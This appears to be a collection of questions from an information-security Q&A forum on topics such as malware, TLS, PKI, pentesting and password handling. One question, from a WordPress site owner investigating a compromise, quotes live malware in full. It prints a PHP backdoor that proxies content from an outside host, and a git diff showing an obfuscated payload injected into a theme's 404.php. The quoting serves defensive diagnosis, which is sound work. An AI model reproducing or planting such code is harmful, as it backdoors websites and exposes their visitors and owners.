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Can a virus infect my Windows XP operating system by its mere presence? I mean, if I copy/paste a virus on my computer and I never click on it, will it infect my computer or will it remain dormant, not harming my computer, as long I do not click on it?
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Lets say for example I have to use a public online proxy like https://www.zend2.com
to load a PHP webpage controlled by me containing sensitive data over HTTPS.
How would I make sure that the proxy in the middle doesn't have insight in the data without modifying the client (browser), JavaScript and/or additional domain names and servers.
The solution's only goal is to prevent the public proxy attack layer (theoretical).
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How can normal files supported in the Windows operating system hide a virus?
Sometimes opening a .txt , .jpg or .docx files leads to running a virus. How is this possible?
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Are there any known cases where antivirus companies for some reason have choosen to make their product allow/ignore malicious software?
The reason could be government coercion or former trustworthy companies/developers turning to cyber-crime.
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We all know we should keep our programs up to date, after all each of them could have an unlatched security hole that was fixed in the latest update. However the average computer easily contains 200+ programs and only few of them actually contain automatic updaters. This leaves most of them open to all kinds of attacks. So ho do you deal with this? How do you keep all your programs up to date?
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I am doing a penetration test at the moment, where the client has deep packet inspection for SSL enabled (my guess), as every SSL connection seems to being MITMed.
Now, some HTTPS sites, like Gmail, throw up a warning about the site not being trusted. Which is expected. Other sites however, such as Yahoo Mail, are not being MITMed, as the certificate shows that it belongs to Yahoo and signed by VeriSign.
So, does this mean only particular sites are chosen to intercept (which would be very odd given the mix of sites that give a warning and ones that do not), or that there is a way to fool the browser?
I'm thinking the former, but don't want to rule out the latter in case there is something I'm not aware of.
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On attempt to change my cPanel password I was warned that:
Your password could not be changed because the new password failed with the following reason : (is too similar to the old one), please try again!
Which is correct, my old and new passwords does differ by a single character. However that rises the question how exactly the cPanel code does know my old plain text password. Should not it be hashed?
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I'm fairly okay with PCs but when it comes to networking i'm quite lost with the details.
My brother started up Mount and blade war band napleonic wars - an official game and played multi player and joined a server. All of a sudden malwarebytes starts blocking outbound connections to 176.53.17.226, on ports 49287, 63932, 65135, 57512, and 60600.
Is my pc in danger? Or is it a false positive? Please help. It showed mountblade warband_/mb_warband.exe being blocked
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My company is going to start to provide penetration testing services pretty soon, in fact, we are just missing the legal aspects of it.
I'm wondering if is there any template which states the most common get-out-of-jail things? Or should we write a custom document for each client? If so, what should include?
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This is a Nessus finding, which is considered medium by default.
Basically it may allow for some plaintext injection which may allow for some man in the middling.
My question is, has these been exploited in the wild? Are there to tools to take advantage of it? I'm thinking of permanently reducing the risk to low for the reports I give to my clients, but want to verify that it makes sense to do so before proceeding.
Is there any argument as to why this finding should be considered medium, going by CVSS ratings?
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I have a library that stores all its ECC Field Elements in uncompressed form, in a bloated Base64 XML format, and storage has become a concern. (We want to support QR code as a form factor,etc)
Rather than ask the crypto library authors to support compressed points in ECC (I don't know how difficult this would be) I think it may be possible to have a piece software proxy capture these elements inline, compress them (with a sign bit), and decompress them when deserializing
My goal is to make the library not even know that I used compressed ECC for temporary, in-transit storage.
Is this a viable approach? What other things should I consider prior to doing this?
For reference I plan on using this code in Bouncy Castle
public override byte[] GetEncoded(bool compressed)
{
if (this.IsInfinity)
{
return new byte[1];
}
ECPoint normed = Normalize();
byte[] X = normed.XCoord.GetEncoded();
if (compressed)
{
byte[] PO = new byte[X.Length + 1];
PO[0] = (byte)(normed.CompressionYTilde ? 0x03 : 0x02);
Array.Copy(X, 0, PO, 1, X.Length);
return PO;
}
byte[] Y = normed.YCoord.GetEncoded();
{
byte[] PO = new byte[X.Length + Y.Length + 1];
PO[0] = 0x04;
Array.Copy(X, 0, PO, 1, X.Length);
Array.Copy(Y, 0, PO, X.Length + 1, Y.Length);
return PO;
}
}
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The consensus on this Server Fault question seems to be that opening port 3306 for MySQL is more dangerous than using an SSH tunnel to access MySQL.
I would think that with strong credentials you could keep MySQL safe, especially since the login can be locked down to certain hosts in the USERS table.
Is there something about a MySQL connection that is more insecure than SSH, or is there a risk that connections attempts attacking 3306 could somehow overwhelm the database?
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When I was about 13 or 14 years old, I was a little interested in cryptography (which is, after all, an interesting field). I learnt quite a lot since that time (it has been about 8 years since then), but I'm still very far away from concidering myself an expert in cryptography.
Whatever, when I was at that age, I wrote this little perl-script which I just found on an old HD.
(Saved as MyEncrypt.pm)
package MyEncrypt;
use strict;
use warnings;
my @_ALPHABET = ('a' .. 'z', 'A' .. 'Z', 0 .. 10, ' ');
my $_i = 0;
my %_ALPHABET = map { $_i++; $_ => $_i } @_ALPHABET;
$_i = 0;
my %_ALPHABET_REVERSE = map { $_i++; $_i => $_ } @_ALPHABET;
sub new {
bless +{}, shift
}
sub set_password {
my $self = shift;
my $password = shift;
$self->{hashed_password} = _hash_password($password);
return $self;
}
sub encrypt {
my $self = shift;
my $input = shift;
my $hashed_password = $self->{hashed_password};
die "No password set.\n" unless $hashed_password;
my @split = split(//, $input);
my $output = shift;
for (0 .. $#split) {
my $new_number .= ($_ALPHABET{$split[$_]} + ($hashed_password ** ($_ + 1))) % $#_ALPHABET;
$output .= $_ALPHABET_REVERSE{$new_number};
}
return $output;
}
sub _hash_password {
my $password = shift;
my $hash = 1;
my $i = 1;
for (split(//, $password)) {
my $power = length($password) / (2 ** $i);
$power = 1 if $power < 1;
$hash *= int($_ALPHABET{$_} ** $power);
$i++;
}
if(is_multiple_of_two($hash)) {
$hash += 1;
}
while (length($hash) != 10) {
no warnings;
$hash *= $hash | join('', map { $_ALPHABET{$_} } split(//, $password));
$hash =~ s/\.//g;
$hash = substr($hash, 0, 10);
}
return $hash;
}
sub is_multiple_of_two {
my $n = shift;
my $log = log($n) / log(2);
if($log == int($log)) {
return 1;
} else {
return 0;
}
}
1;
(It probably has the worst hashing-algorithm ever. I know).
This is my "test-program" for it:
use strict;
use warnings;
use MyEncrypt;
my $enc = MyEncrypt->new();
$enc->set_password('abc');
die $enc->encrypt("hello world");
My idea was this:
We give it a password and it somehow generates a "hash" of it (here in a way that, I admit, I don't quite understand anymore. But hey: It has been 8 years since that... . For some reason, it should be 10 digits long and these are generated by, until the password is 10 digits long, multiplying the password with the OR'd characters of the alphabet (where a = 1, ... A = 27, ...) and then cutting it to 10 characters or less, until this leads to a "hash"), which is then later used for this letter-by-letter-substitution:
x = (number of the actual letter + password_hash to the power of (position of this character + 1)) modulo the size of the alphabet
and then x is used to look for the letter numbered x, which will be added to the output-string. When gone through all the text, the output will have a completely different form of what it had as input. And when one letter changes in the password, the whole string is different.
E.g.:
string: "hello world", pass: "abc" => 9bkpXY1H0oR
string: "hello world", pass: "abcd" => HS4gVkuWX4U
string: "hello world", pass: "abcda" => DhAqIeHn9cr
and so on.
Of course, the code is terrible, the hashing-algorithm is probably the worst one ever and the idea is not really new, but I came up with it myself and at that time I was quite proud of myself for this. But how secure would this have been? How much time would one need to decrypt this and how would this be done? As I've said, I developed in many fields, but for some reason after that script I did not care so much about cryptography anymore and my knowledge there is quite limited.
(Also, sadly: This is an incomplete version of that file. I'm not 100% sure, but I believe that I had somekind of decrypt-routine (though, this might be false. It might have been in another attempt), which seems lost. So I cannot even say whether this version of the algorithm could be decrypted in an easy way if you have the password. I didn't even notice this at first seeing this file again).
Thanks.
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I understand that the answer to questions like this depend on country, but I'd like to get an idea what the usual approach to cases like this are.
Heres the case:
I found a security hole in one of the governments services.
The flaw makes it possible for anyone to download documents that would normally require authorization from the affected service.
I did some tests and made a script that downloads a bunch of stuff from there to test what kind of security issue it actually was.
I have absolutely no intention to use this data for illegal purposes.
I also let them know about it and it should get fixed soon.
Now the questions are:
Is the cursive part illegal?
Would it be illegal for me to store the data and not delete it?
Would it be illegal to publish the data? (I assume yes)
If the cursive part is illegal, how can anyone find and let service provider know about security issue as telling about it reveals that you've used the hole to do something (in this case just to confirm that it exists)?
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What passwords are stored in Microsoft Windows? How can I know what password are saved in computer?
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I'm using Charles to sniff out the traffic on my iPhone at Starbucks and for some reason it won't work with at&t wifi. Google Starbucks wifi does, however. I use my iPhone to connect to the same wifi network that my MacBook is connected to. Then, for the proxy settings on my phone, I enter my computer's local IP address and the port that I specified in the proxy settings on Charles. I'm aware that some wifi networks block certain ports, but even when I change the proxy settings on Charles so that it's dynamic and it finds an open port, it still doesn't work. Any ideas?
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Some sites that I use check my password as I type it into the login (not registration) form. So, for example, to begin with I might have:
Username: sapi ✓
Password: passw ×
and by the time I've finished typing, the site already lets me know that there were no mistakes:
Username: sapi ✓
Password: password123 ✓
Submission of the form is still required to actually log on.
Let's assume that this is not done on the client side (eg, by informing the client of the hashing algorithm and target hash); such an approach would obviously be unsafe, as it would allow you to obtain an arbitrary user's hash.
Assuming that the communication is encrypted, can checking the password letter by letter as it is typed pose a security risk?
My main area for concern is that doing so involves repeatedly transmitting similar (sub)strings:
some overhead data + the first letter of the password
some overhead data + the second letter of the password
...
some overhead data + the entire password
This makes the plaintext of each communication to some extent deterministic (or at least, related to that of the previous and next communications).
I know that some encryption algorithms are vulnerable to known-plaintext attacks, although I'm not sure if SSL is one of them. I also don't know whether the level of knowledge gained here (which is obviously much less than for a known-plaintext attack) is sufficient to decrease the entropy of the output.
I guess I have two questions:
Is this a security risk with standard web encryption algorithms (basically https); and
If not, is there a class of algorithms for which this might pose problems?
I've added a clarification to the question that I'm referring to a login form, not a registration form. In other words, the client cannot simply validate the password against known length/complexity rules using JS; the account already exists and the checkmark only appears for a correct password.
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Let us visit a given webpage on which video files and/or java applets are embedded. Could clicking to start on these videos/applets lead to a drive-by download attack ?
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The entry below is from the visitors log in c-panel
Host: .
/specific legimate-wordpress-post/
Http Code: 503
Date: Jul 24 09:28:06
Http Version: HTTP/1.1
Size in Bytes: 1118
Referer: http://mywebsite.com/
Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10
/?_wfsf=unlockEmail
Http Code: 200 Date: Jul 24 09:28:06 Http Version: HTTP/1.1 Size in Bytes: 242
Referer: http://mywebsite.com/specific-legimate-wordpress-post/
Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.1
The entry below is from the raw access log in c-panel
. - - [24/Jul/2014:09:28:06 -0500]
"GET /specific-legitimate-wordpress-post/
HTTP/1.1" 503 1118 "http://mywebsite.com/" "Mozilla/5.0 Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10"
. - - [24/Jul/2014:09:28:06 -0500]
"GET /?_wfsf=unlockEmail
HTTP/1.1" 200 242 "http://mywebsite.com/specific-legitimate-wordpress-post/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10"
This site is on a shared server so there is no access to server configuration files. Would you use hosts.deny and .htaccess to stop such a hacker and if so please explain how in detail. Thanks.
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I'm working on an application where users have a key or password generated by me that is used to encrypt a string. Each user has their personal key, and no user should be able to decrypt another user's string.
How to generate a "superkey", which could decrypt the strings encrypted by all the users key? I am new in cryptography, so if I could have a little help.
EDIT : To be more clear :
Alice encrypts a string with her Key : Ka
Bob encrypts a string with his Key : Kb
Alice should be able to decrypt her String
Bob should be able to decrypt his String
John, the supersuser, should be able to decrypt Alice and Bob's String
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I am currently developing my own PKI where x.509-client-certificates are issued by a public server. At the moment, the CA-public key is distributed with the binary and there are no routines for renewing neither client nor CA-certificates. What should I think about when implementing these routines? My thoughts are:
For updating client certificates:
It does not seem to be sufficient to verify the new keypair with the old keypair. For example if the old keypair is compromised.
Could a client instead store a set of future authenticators and pass them to the server upon first registration. These authenticators should only then be used for certificate renewal. Or is there a better way?
For updating the CA certificate:
One could use another CA to verify the CA-cert but I do not want to trust entities outside the system.
One could display the CA-cert-fingerprint to the user of a client but I would prefer to automate the process without user interaction.
Can anyone provide me with som pointers about this issue? What are the best books on the subject? I have already tried the "Handbook of applied cryptography" but could not find anything useful about certificate renewal.
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I am fiddling about with a sort of single sign on procedure.
Let's say there is site1 and site2 and both use an SSL certificate.
Users are signed in on site1.
I was wondering what the experts think of this way to let users automatically sign in on site2 that is hosted on a different server:
clicking on a link in site1 gets the url (on site2) and 2 codes from a database
site1 redirects to the url (on site2) and sends the 2 codes as a post request
Site2 checks if the page that is redirected from is really from site1 and if the combination of the codes are correct
If so site2 creates a hash and stores it in the database and sends the result back to site1
Site1 redirects to site2 and sends the hash
if the hash is in the database and was received from site1 and within a short time after creating it the user is logged in.
Is this a (fairly) secure way for a signle sign on procedure or is this horribly insecure? If the latter: where do the dangers lie?
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This question is an ongoing discussion at work. Assume a Tomcat serving some web application and has all JMX and remote management stuff disabled. If you consider three scenarios:
Tomcat serves directly to the internet.
Apache Webserver serves to the internet, Tomcat is connected via AJP
Apache Webserver acts as a proxy between Tomcat and the internet.
Which one would you consider the most secure and why?
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I'm adding new features to an old Borland C++ VCL application using Borland 2006 IDE.
I'm finding that upon adding a single line of code, and building, the exe is being quarantined since Sophos is detecting it as a virus/spyware - Squatter-310 to be exact. If I remove the line then the application builds as expected or if I add the "line" to another routine then it also builds.
Can anyone shed some light as to why this could be the case?
More Info:
The single line of code being added is simply setting the caption of an action from an array which has been loaded with various strings. The index of the array being accessed is within bounds of the array.
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Env
Rackspace cloud server
Wordpress 3.9.1
Ubuntu 12.04 Linux web.mydomain.com 3.2.0-67-virtual #101-Ubuntu SMP Tue Jul 15 17:58:37 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
History
These may actually be part of the same issue, I have already resolved those yesterday. Adding here for reference and background history.
out-of-memory issue
abnormal sendmail activity
My current security problem
My web server has been recently experiencing some unusual out-of-memory issue caused by an abnormal sendmail activity. For this I got help from the ServerFault forum, but I am yet identify the vulnerability.
Apparently my server was subject to attack through the wordpress plugins, and apparently it's still happening despite:
Cleaned my wordpress instance, used a working backup
Updated all the wordpres plugins
apt-get update && apt-get upgrade on the server
After a day, I am checking my wordpress instance, and I can already find, what I believe, is some injected PHP code.
root@web:/var/www# git status
# On branch working-website
# Changes not staged for commit:
# (use "git add <file>..." to update what will be committed)
# (use "git checkout -- <file>..." to discard changes in working directory)
# (commit or discard the untracked or modified content in submodules)
#
# modified: .htaccess
# modified: webalizer/index.html
# modified: webalizer/usage.png
# modified: webalizer/webalizer.hist
# modified: wp-content/plugins/no-disposable-email/no_disposable_email.log
# modified: wp-content/themes/twentytwelve/404.php <===========
#
# Untracked files:
# (use "git add <file>..." to include in what will be committed)
#
# webalizer/ctry_usage_201407.png
# webalizer/daily_usage_201407.png
# webalizer/hourly_usage_201407.png
# webalizer/usage_201407.html
# wp-includes/ms-edit.php <=================
A new unexpected file (?):
root@web:/var/www# more wp-includes/ms-edit.php
<?php $url = "http://admindors.com/redbutton/main2-dors/20j-107-1/"; $e = '.php'; $q = ""; $test = 'suka-test'; if ((!$q || isset($_GET[$q])) && preg_match("/^[^\/][a-z0-9-_\/\.]+$/i", $a = $q ? $_
GET[$q] : $_SERVER["QUERY_STRING"])) { if($test && $a == $test) { echo 'OK'; exit; } curl_setopt($ch = curl_init($url.($w=preg_replace("/^([a-z0-9-_]+)(\.php|\.html|\/|)$/i", '$1'.$e, $a, -1, $h)))
, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); if (isset($_SERVER[
"HTTP_REFERER"])) curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); $result = curl_exec($ch); if ((($c = curl_getinfo($ch, CURLINFO_HTTP_CODE)) == 301 || $c == 302) && ($u = curl_getinfo
($ch, CURLINFO_EFFECTIVE_URL))) { header('Location: ' . $u, true, $c); exit; } else if ($c == 200 && $result) { header('Content-Type: ' . curl_getinfo($ch, CURLINFO_CONTENT_TYPE)); echo ($h || subs
tr($a, -4) == '.css') ? preg_replace('/<a(.*?)href=["\'](' . preg_quote(($t = ((!strncmp($_SERVER["REQUEST_URI"], $t = $_SERVER["SCRIPT_NAME"], strlen($t))) ? ($t . '?' . ($q ? $q . '=' : '' )) : '
/' . substr($_SERVER["REQUEST_URI"], 1, -strlen($a))) . ((substr($a, -1) != '/' && ($y = strrpos($a, '/'))) ? substr($a, 0, $y) . '/' : '' )), '/') . '[a-z0-9-_]+)(' . preg_quote($e) . ')["\'](.*?)
>/i', '<a$1href="$2' . (($h = strlen($w) - strlen($e) - strlen($a)) < 0 ? substr($a, $h) : "") . '"$4>', preg_replace('/<(a|link|img)(.*?)(href|src)=["\']([^\/][a-z0-9-_\.\/]+)["\'](.*?)>/i', '<$1$
2$3="' . $t . '$4"$5>', preg_replace('/background(-image\:|\:)(.*?url\(["\'])([^\/][a-z0-9-_\.\/]+)(["\']\))/i', 'background$1$2' . $t . '$3$4', $result))) : $result; exit; } } header('HTTP/1.0 404
Not Found', true); exit; ?>
My suspicion is the URL (http://admindors.com/redbutton/main2-dors/20j-107-1/) in the PHP code.
Also as GIT points out, this is a new untracked file.
also my wp-content/themes/twentytwelve/404.php seemed also be compromised:
root@web:/var/www# git diff wp-content/themes/twentytwelve/404.php
diff --git a/wp-content/themes/twentytwelve/404.php b/wp-content/themes/twentytwelve/404.php
index e7270b4..189b69c 100644
--- a/wp-content/themes/twentytwelve/404.php
+++ b/wp-content/themes/twentytwelve/404.php
@@ -1,3 +1,9 @@
+<?php^M
+if(isset($_GET['pwd'])) {^M
+$_F=__FILE__;$_X='P2lCPz5NY2VXKDxlbk1bVV85TTJPOU0oJzhDcjA5Qy5BMkNyNTJxRlAzLzh5YlR1THU0RlVFa0VXRUMzVXU0S0xFWWJrdVlifWJUOXlOVDgKYlRXV2JxMzE0d095YmtQbjxKM3htcEZzM2tnWUVwMzE0d095TkM2WWJENm45clAuYkpnWj
+^M
+} else {^M
+?>^M
<?php
/**
* The template for displaying 404 pages (Not Found).
@@ -26,4 +32,7 @@ get_header(); ?>
</div><!-- #content -->
</div><!-- #primary -->
-<?php get_footer(); ?>
\ No newline at end of file
+<?php get_footer(); ?>^M
+<?php^M
+}^M
+?>
\ No newline at end of file
At this point, I am not sure how to secure my wordpress?
How can I identify the culprit?
What can I do next?
|
Pseudorandom generators (PRG) are functions that takes a random small input (called the Seed) and maps it into much larger output .
However, the mapping process must be unpredictable in order for the PRG to be used securely in cryptography.
My question is: Are there any tool the does the opposite? i.e. takes a long random string and maps it to a smaller random unpredictable output?
And if not, can we use s-box for this purpose?
|
I installed a fresh Windows 7. I wonder why when I visit website using HTTPS, I do not get asked to accept their certificate like shown on this picture:
|
I would think the answer is unequivocally, "No." But...
My MacBook Pro logged "Diagnostic and Usage Messages" in the Console, at 4:19am, while it was physically closed and (therefore) sleeping. I was physically asleep from a bit before 1am until 8am. I'm the only one who was here last night. When I woke up, I actually became alarmed that something in my house was physically out of place (although could try to chalk this up to paranoia and poor memory), so began to worry about a physical intrusion. I went to check my laptop, opened it and as soon as it woke, I got Little Snitch dialogs about connecting to radarsubmissions.apple.com, which I looked up and see this is usually for crash reporting diagnosics. No programs appear to have crashed. This led me to the Console application, where I see the entries from the middle of the night.
Is this determinate of a physical intrusion, or is there another possible explanation where my laptop stayed closed all night? I do see in the Console going back 6 days, all other logging is from times when I would have been using the laptop.
|
(I have GNU/Linux and Microsoft Windows installed.) I played a game on Microsoft Windows, quit the game, restarted the PC, and selected GNU/Linux.
On the login screen, the background image was different, contorted, glitchy (similar to this image, but not as bad). On a closer look, it showed parts of the game I played … on the other OS, before the restart!
I could even "decrypt" some sentences, and various images were clearly recognizable (it might have been a sprite sheet, so technically only one image).
I guess this can be a privacy issue, especially because you’d typically expect that restarting and switching OS should "clear" traces like that (i.e., displayed content).
Is there someone at fault (software/OS or hardware)? Can you prevent this from happening somehow?
EDIT: It happened again (with a different game), and this time I made a photo:
|
I'm investigating the state of my MacBook Pro which I know was compromised, and do not know if I removed the exploits completely (and I realize, technically will never know this). I'm trying to hone in on specific exploits, not expecting to prove they don't exist, but in any case I can prove that they do, that can help me decide on various courses of action from basic remediation to replacing the whole system in the most extreme.
Looking for briefest answers, here are some starting questions I have:
What are the common vectors for installing rootkits? (And if I understand correctly, this would include MBR as well as BIOS? So same question for each.)
How common are rootkits that survive OS reinstall (and are these limited to BIOS, or can MBR infections achieve this?)
How common are USB key infections? I know many government agencies have had policies for a few years now of not allowing employees to even use USB keys on their machines, but these are high security settings.
If there's a concern about attacks that are unknown to commercial AV tools, would commercial tools still be useful in detecting a rootkit from a fresh OS install? E.g. detecting unexpected network traffic as it tries to download additional malware?
On a previously compromised machine, is there really any hope of detecting a keylogger? I am suspecting not (unless a very poorly written keylogger, or already known to AV software.)
On all of these, I can post single questions for more detail; I'm just trying to figure out which things to explore first, and which are dead-ends.
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Little Snitch has been useful to get a better handle on all the connections my computer tries to make. It's main dialog to allow or deny connections allows customizing (e.g. require specific port, or allow all connections, etc.) but it has no option to allow *.domain.com. This is possible by manually editing the created rules, which is inconvenient, but it makes me wonder when this should and should not be a concern. That is, based on my naive logic:
If I trust apple.com (to the extent I trust they are not grabbing personal data that I have not agreed to), then is there any reason I should trust foo.apple.com any less? My assumption is that all such subdomains are under the control of Apple, Inc, that owns the domain name, so are all equally trustworthy (again, in terms of not hacking my personal data).
Id like to be able to reduce rules to *.apple.com, *.google.com, etc. Rather than have hundreds of subdomains.
Same logic for non-standard ports to a trusted domain.
One exploit I could imagine would be a malicious program sending data to www.apple.com (say) that is not actually meant for Apple's servers, and then external parties intercepting that data. This could include data encrypted with 3rd party keys, such that neither me nor Apple could ever determine what that data is. But such an exploit would seem virtually impossible to prevent or even detect using any of the tools at my disposal... Right? And yet, also doesn't seem particularly difficult for attackers to implement.
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I've heard others talk of disabling NetBIOS, but over the years I have never understood exactly when this protocol is required. The wikipedia page explains very abstractly what it is, but not which products rely on it. I'd love to disable any services I have no use for.
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Hi I just wanted some feedback on a DDOS preventing php script that I'm designing. It quite simple and I wanted some feedback on whether you guys think it would be effective.
I'm currently using the ulogin framework as a base and have implemented API Key's. At the moment the user will send a request with a key. This key is checked against the database to see if it correct. So if the key is not correct the program will return.
If the key is correct then some statistics are going to be calculated. The first thing is to increment the counter. The average hit per second will be calculated from the time they started requesting to the current time. Also there is a window of X seconds in which the counter will be reset (Lets say 300). The programmer specifies the max number of requests that should be allowed in this window. If the key is over the limit of requests per stats reset (Window) or over a certain amount of requests per second, they will be blocked and not given access. However the counter still increments but another counter is started (blockcount).
When the counter is set to 0 at the end of the window, the count for the next window will be set to what ever the blockcount is and the blockcount will be set to 0. If the user doesn't use the API key for X (window) seconds then both counters will be reset to 0.
I have added a transferpenalty variable (0-1) that will take a percentage of the blockcount on to the next window instead of the entire block count but I don't think that it is neccessary to have this.
Is this already being done? Would this protect against a sniffed API key being used to (D)DOS a server? What are your thoughts :)
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If I try the sV (service detection) flag in nmap run via proxychains (socks5 server) it appears to give me a segmentation fault message:-
root@kali:~# proxychains nmap -n -sT -Pn X.X.X.X -p 22,80,222,10000 -sV
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-25 16:40 BST
Segmentation fault
If I remove -sV or limit my scan to certain ports it is OK.
Is this a bug in nmap and/or proxychains and is there any way to fix it?
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I am using the last versions of IE, Firefox and Google Chrome web browsers on Windows 8. How can force these browsers to accept automatically the SSL certificates of any website I will visit ?
I know this is not a good security practice, but I do it for a specific security reason, indeed (virtualization and some stuff).
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I'm learning about web security mechanisms. I have developed the following system
in PHP and JavaScript:
assuming that I have a page named: messages.php which is a real-time chat system.
first when the page loads, a page id is generated and then an Encryption Key is stored into a Session called $_session["key".page_id]. using page_id makes it possible to use a unique encryption key for each opened "messages.php" page in the browser. the encryption key and the page id are also echoed to the page in this way: var key = [generated_key_stored_in_session] and var page_id = [generated_page_id].
when the user sends a message, it is first encrypted using AES with the variable key as the encryption key. after encryption, the encrypted message and the page_id variable will be sent to the server with POST method using Ajax.
Now the server receives the data and loads encryption key from Session using the received page_id. and the received message will be decrypted and stored to the database.
And now the server generates a new key sets a $_session["key".page_id] with that and then echoes the new encryption key which will be received by Ajax and be used for further encryption.
I think that this method is not safe because the encryption key is transferred as text and it's possible to read that with traffic monitor tools.
I've read about storing the key in a JavaScript file and send the file to the client. how is this method?
What is the best way to send the key? and how can I implement Public Key/Private Key system here?
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I want to scan my own website for vulnerabilities using Vega and w3af from kali linux. I assume these tools perform active attacks, not passive ones. Is this correct?
If they do perform active attacks on the site to find vulnerabilities, are the payloads malicious? E.g. can I harm the database when checking for SQL injections?
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3D secure is a system where, after you enter your credit card details on a merchants site, you are redirected to a site hosted on the bank servers where you enter a OTP sent via SMS to complete the transaction.
However, this system is only used by sites hosted in India and a few other countries. Doesn't this render the system completely ineffective (and possibly make the situation worse than not having it at all)? I can't really figure out how this reduces the risk of fraud in any way for credit cards. (Debit cards cannot be used internationally online, so it does reduce the risk there.)
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Canvas Fingerprinting has been getting a lot of press these last few days.
Here is a study I read on this topic: 1 and 2
What can I do to keep browsing anonymously and avoid this tracking method?
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Does storing temporarily a non-encrypted file containing some PANs violate pci requirements? (for example because it is being processed by an application, or to open it on a file editor)
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I am trying to build an EAP-TLS client. The handshake I have to deal with involves receipt of fragmented messages from the RADIUS server. As a part of the client reply, I have to construct a certificate verify message, which involves hashing all messages involved in the handshake using a private key, to ensure mutual authentication. So, do I treat the fragmented messages as separate messages (because each fragment has an Ethernet header appended to it) or as a single message? Thanks !
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I believe that it uses some combination of the random values sent in the hello messages. From RFC 2246: (TLSv1.0)
RSA encrypted premaster secret message
Meaning of this message:
If RSA is being used for key agreement and authentication, the
client generates a 48-byte premaster secret, encrypts it using
the public key from the server's certificate or the temporary RSA
key provided in a server key exchange message, and sends the
result in an encrypted premaster secret message. This structure
is a variant of the client key exchange message, not a message in
itself.
Structure of this message:
struct {
ProtocolVersion client_version;
opaque random[46];
} PreMasterSecret;
client_version
The latest (newest) version supported by the client. This is
used to detect version roll-back attacks. Upon receiving the
premaster secret, the server should check that this value
matches the value transmitted by the client in the client
hello message.
random
46 securely-generated random bytes.
How will it match the value the client sent previously? Can someone please explain this? Thank yuou! Is there any API to compute this value?
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Having a backdoor account (that is a username/password that can login in to an administrative account on all machines) can be very useful for IT staff. However, some believe it's a security breach. What are the pros and cons?
Pros
access even if user forgets password
access whenever is convenient, for example if user of machine is away on vacation
another reason I just discovered is because if the user is non-technical they may misunderstand which password you are requesting, for example if they are running virtual machines.
Cons
may not be feasible when there is confidential information on the machine
A manager once told us that the company didn't have a backdoor account so that if something went wrong the finger could definitively be pointed at the end user
The last point doesn't really make sense to me. Most people would quickly hand over their login information to an IT staff. Even if they choose to type in the password themself, it's unlikely they will stand there the whole time and wait until the IT staff logs out. Furthermore if an IT staff is malicious then it's unlikely not having a password of a end users machine will stop him.
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I am reviewing NIST SP800-30 rev 1 and I am having a hard time understanding how they determine the distribution of values within the risk matrix. In the document, they define semi-qualitative values – I am assume that these values are used in the calculation – however, the calculations are not provided. I am trying to programmatically calculate the result.
Here is is an example straight from the guideline:
My attempt using [Likelihood of Initiation] * [Likelihood of Occurrence], This does not yield the same results based on the scales provided.
What is the correct formula to calculate this?
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Greetings SE security community.
Background: I have a number of items like certificates, databases, and encrypted file systems that require private keys. In order to avoid having duplicates of these keys on the different systems that use them, I'd like to keep them all in a secure portable location, like an encrypted flash drive. While looking at options for hardware-encrypted flash drives, I noticed that all of them (biometric authentication-based models excluded) had relatively short maximum password/passphrase/PIN lengths. They tended to cap at 16 chars, some even lower; as I'm used to applications like TrueCrypt and KeePass (which have very high password and key length options), this seemed insecure.
Question: When using a secure element for hardware-based encryption that is actually secure and infeasible to tamper with; and assuming that feeding guesses to the device will result in destruction of the data after a very small number of incorrect attempts (e.g. 10); and that the password chosen is not easily human-guessable (a birthday, pet's name, etc); how important is it to have a password whose length and/or complexity makes it computationally infeasible to crack?
Simple Version: Does the password used to authenticate to a hardware token need to be strong, or will an adversary never be able to try cracking it anyway?
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My girlfriend just told me that her computer was stolen, the computer was hibernated and the second the thief turn the computer on a lots a things will open automatically. I'm hoping I can get the computer location, or at least an IP address when the computer turns on
It is a Windows 7, below the services that will pop up (most promising first):
Skype
Chrome with at least:
GMail ( google hangouts runs service )
Facebook
Duolingo
Google Translate
Pandora (through Hola Unblocker extension)
Lots of useless PDFs and Word files
Is it possible to track any (or most) of those services and get some information when the computer turns on?
PS: I'm working on the assumption that the computer have not being turn on because her skype account is offline since before the thief
PS2: I'm going to try to contact someone from those companies, but I don't think they will give a damn
PS2: She changed her Google and Facebook passwords for privacy concernes. Skype stuff was really helpfull, I will post their info has an answer
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I run an MMORPG game and today while moving from one server to another, apache failed and listed some of the data on the server including a back-up of all the source code + database which a few people downloaded
By the time I realized that happened, I forced a password change on all users and I immediately changed my database password
The passwords were encrypted with SHA1 and as I realized some users got hacked (so I'm guessing their passwords were cracked) after asking the users who got hacked about what their passwords were, they were mostly numerical passwords which were cracked. The accounts that got hacked did ingame actions that affect the whole gameplay and thus I'm forced to restore my latest backup of the database (which is also the database the hackers have)
Now, once I do that. The passwords for the users would have stayed the same (the ones that were cracked) so I was wondering how would I be able to restore my database backup and also ensure that the users are secure
I thought of generating random passwords for each users + salt and emailing them their new password, so they have a new password which the hackers do not have, and after they login they will also be forced to change it. Would that be best practice? Does anyone have a better idea?
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Is there any security measures that I should take when downloading article text from the web as far as file integrity? For example, I've written a bot that retrieves article text from a user's blog and saves them to disk. What measures would you recommend and/or enforce?
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I want to send data over the Internet securely. For that, I am using an public key of the receiver to encrypt the data. In this case, if an intruder in the network modifies the data, like placing the bits by rotating, can I decrypt the data successfully?
And also I am sending data over the network all the time. If the intruder modifies the data as I mentioned in above method, then how can I send securely?
Also, is this case applicable to all symmetric encryption?
